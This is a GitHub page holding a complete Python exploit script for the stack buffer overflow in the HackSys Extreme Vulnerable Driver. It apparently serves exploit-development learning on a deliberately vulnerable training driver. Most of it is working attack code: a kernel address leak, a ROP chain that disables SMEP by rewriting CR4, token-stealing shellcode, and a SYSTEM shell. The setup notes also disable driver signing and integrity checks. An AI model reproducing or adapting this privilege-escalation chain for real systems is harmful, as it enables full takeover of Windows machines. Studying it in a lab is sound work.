-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathHEVD3_TriggerBufferOverflowStack_exploit.py
More file actions
196 lines (181 loc) · 9.41 KB
/
HEVD3_TriggerBufferOverflowStack_exploit.py
File metadata and controls
196 lines (181 loc) · 9.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
# Author : vikingfr
# Version : last can be found at https://github.com/v1k1ngfr/winkernel/
#
## TEST ENVIRONMENT
# - Windows -
# Exploit validated on Windows 10 Enterprise x64 - Version 1709 - build 16299.15
# ISO name : 16299.15.170928-1534.rs3_release_CLIENTENTERPRISEEVAL_OEMRET_x64FRE_en-us.iso
# ISO link : https://tb.rg-adguard.net/dl.php?go=ac1b4bbf
# - Visual Studio -
# Visual Studio Community 2019 (https://visualstudio.microsoft.com/thank-you-downloading-visual-studio/?sku=Community&rel=16)
# - Windows Driver Kit -
# WDK for Windows 10, version 2004 (https://go.microsoft.com/fwlink/?linkid=2128854)
# - HackSys Extreme Vulnerable Windows Driver -
# HEVD version 3.00 (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/archive/master.zip)
#
## HEVD SETUP
# - Building Driver -
# Install Visual Studio 2019
# Install Windows Driver Kit
# Extract to C:\ and rename it : C:\HEVD\
# Run the driver builder :
# cd C:\HEVD\Builder
# Build_HEVD_Vulnerable_x64.bat
# ...
# Successfully signed: C:/HEVD/build/driver/windows/vulnerable/x64/HEVD/Windows\HEVD.sys
# - Install the driver & get the PEB for windbg -
# copy C:/HEVD/build/driver/windows/vulnerable/x64/HEVD/Windows\HEVD.sys C:\HEVD.sys
# copy C:/HEVD/build/driver/windows/vulnerable/x64/HEVD/Windows\HEVD.peb C:\HEVD.peb
# - Disable Windows driver signing checks and activate kernel debug
# bcdedit /debug {current} on
# bcdedit /set testsigning ON
# bcdedit /set nointegritychecks on
# bcdedit /dbgsettings serial debugport:1 baudrate:115200
#
# - Create the HEVD service -
# sc create hevd binpath="C:\hevd.sys" type=kernel start=auto
#
## TOOLS
# - 0vercl0ck ROP sequence finder rp++ -
# rp++ win x64 (https://github.com/downloads/0vercl0k/rp/rp-win-x64.exe)
#
## DEBUG INFO
# The following breakpoint can be set :
# kd> bu HEVD!TriggerBufferOverflowStack+0x10b
# kd> bl
# 0 e Disable Clear fffff802`e9c566bb 0001 (0001) HEVD!TriggerBufferOverflowStack+0x10b
# kd> u HEVD!TriggerBufferOverflowStack+0x10b
# HEVD!TriggerBufferOverflowStack+0x10b [C:\Users\viking\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\BufferOverflowStack.c @ 117]:
# fffff802`e9c566bb c3 ret
#
## HELPFUL BLOGS
# The code of this exploit is based on Connor McGarr python script
# https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/
# Some information about recovery mechanism from rootkit :
# https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/
# A fucking bug I encountered, seems to be the same bug as described by h0mbre :
# https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/
#
## EXAMPLE
# C:\>python poc.py
# [+] kernel32.VirtualAlloc - Allocating RWX region for shellcode
# [+] kernel32.RtlMoveMemory - Copying shellcode to newly allocated RWX region
# [+] psapi.EnumDeviceDrivers - Looking for kernel leak
# [+] Found kernel leak : ntoskrnl.exe base address: 0xfffff8003188f000L
# [+] Starting ROP chain (disabling SMEP)
# [+] pop rcx - is at : 0xfffff8003189cb8fL
# [+] Flipped SMEP bit to 0 in RCX using the value 0x506f8
# [+] mov cr4, ecx - is at : 0xfffff80031905a02L
# [+] SMEP disabled!
# [+] Location of user mode shellcode : 0xda0000
# [+] kernel32.CreateFileA - Obtain and return the handle referencing the driver
# [+] kernel32.DeviceIoControl - Interacting with the driver using the IOCTL 0x222003
# [+] Pop a SYSTEM shell !
#
# C:\>whoami
# nt authority\system
#
import struct
import sys
import os
from ctypes import *
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
# Get SYSTEM token shellcode
payload = bytearray(
"\x65\x48\x8B\x04\x25\x88\x01\x00\x00" # mov rax,[gs:0x188] ; Current thread (KTHREAD)
"\x48\x8B\x80\xB8\x00\x00\x00" # mov rax,[rax+0xb8] ; Current process (EPROCESS)
"\x48\x89\xC3" # mov rbx,rax ; Copy current process to rbx
"\x48\x8B\x9B\xE8\x02\x00\x00" # mov rbx,[rbx+0x2e8] ; ActiveProcessLinks
"\x48\x81\xEB\xE8\x02\x00\x00" # sub rbx,0x2e8 ; Go back to current process
"\x48\x8B\x8B\xE0\x02\x00\x00" # mov rcx,[rbx+0x2e0] ; UniqueProcessId (PID)
"\x48\x83\xF9\x04" # cmp rcx,byte +0x4 ; Compare PID to SYSTEM PID
"\x75\xE5" # jnz 0x13 ; Loop until SYSTEM PID is found
"\x48\x8B\x8B\x58\x03\x00\x00" # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x348
"\x80\xE1\xF0" # and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
"\x48\x89\x88\x58\x03\x00\x00" # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
"\x48\x83\xC4\x40" # add rsp, 0x40 ; RESTORE (Specific to HEVD)
"\xC3" # ret ; Done!
)
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
print "[+] kernel32.VirtualAlloc - Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
c_int(0), # lpAddress
c_int(len(payload)), # dwSize
c_int(0x3000), # flAllocationType
c_int(0x40) # flProtect
)
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
print "[+] kernel32.RtlMoveMemory - Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
c_int(ptr), # Destination (pointer)
c_type_buffer, # Source (pointer)
c_int(len(payload)) # Length
)
# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()
print "[+] psapi.EnumDeviceDrivers - Looking for kernel leak"
get_drivers = psapi.EnumDeviceDrivers(
byref(base), # lpImageBase (array that receives list of addresses)
sizeof(base), # cb (size of lpImageBase array, in bytes)
byref(c_long()) # lpcbNeeded (bytes returned in the array)
)
# Error handling if function fails
if not base:
print "[+] EnumDeviceDrivers() function call failed!"
sys.exit(-1)
# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]
print "[+] Found kernel leak : ntoskrnl.exe base address: {0}".format(hex(kernel_address))
# Offset to ret overwrite
#input_buffer = "\x41" * 2056
input_buffer = "\x41" * 1000
input_buffer += "\x42" * 1000
input_buffer += "\x90" * 56
# SMEP bypass - We need kernel mode ROP gadgets :
# rp-win-x64.exe --file=C:\Windows\System32\ntoskrnl.exe --rop=8
# 0x14000db8f: pop rcx; ret; (1 found)
# 0x140076a02: mov cr4, ecx; ret; (1 found)
input_buffer += struct.pack('<Q', kernel_address + 0xdb8f) # BUG : this value is not used but avoid restoring execution fail
input_buffer += struct.pack('<Q', 0x506f8) # BUG : this value is not used but avoid restoring execution fail
print "[+] Starting ROP chain (disabling SMEP)"
print "[+] pop rcx - is at : {0}".format(hex(kernel_address+ 0xdb8f))
input_buffer += struct.pack('<Q', kernel_address + 0xdb8f) # 0x14000db8f: pop rcx; ret; (1 found)
print "[+] Flipped SMEP bit to 0 in RCX using the value {0}".format(hex(0x506f8))
input_buffer += struct.pack('<Q', 0x506f8) # Intended CR4 value : 0506f8
print "[+] mov cr4, ecx - is at : {0}".format(hex(kernel_address+ 0x76a02))
input_buffer += struct.pack('<Q', kernel_address + 0x76a02) #0x140076a02: mov cr4, ecx; ret; (1 found)
print "[+] SMEP disabled!"
# Jump onto the SYSTEM token stealer (shellcode)
print "[+] Location of user mode shellcode : {0}".format(hex(ptr))
input_buffer += struct.pack('<Q', ptr) # Location of user mode shellcode
input_buffer_length = len(input_buffer)
# Getting handle to driver to return to DeviceIoControl() function
print "[+] kernel32.CreateFileA - Obtain and return the handle referencing the driver"
handle = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
0xC0000000, # dwDesiredAccess
0, # dwShareMode
None, # lpSecurityAttributes
0x3, # dwCreationDisposition
0, # dwFlagsAndAttributes
None # hTemplateFile
)
# 0x222003 = IOCTL code that will jump to BufferOverflowStackIoctlHandler / TriggerBufferOverflowStack
print "[+] kernel32.DeviceIoControl - Interacting with the driver using the IOCTL 0x222003"
kernel32.DeviceIoControl(
handle, # hDevice
0x222003, # dwIoControlCode
input_buffer, # lpInBuffer
input_buffer_length, # nInBufferSize
None, # lpOutBuffer
0, # nOutBufferSize
byref(c_ulong()), # lpBytesReturned
None # lpOverlapped
)
print "[+] Pop a SYSTEM shell !"
os.system("cmd.exe /k cd C:\\")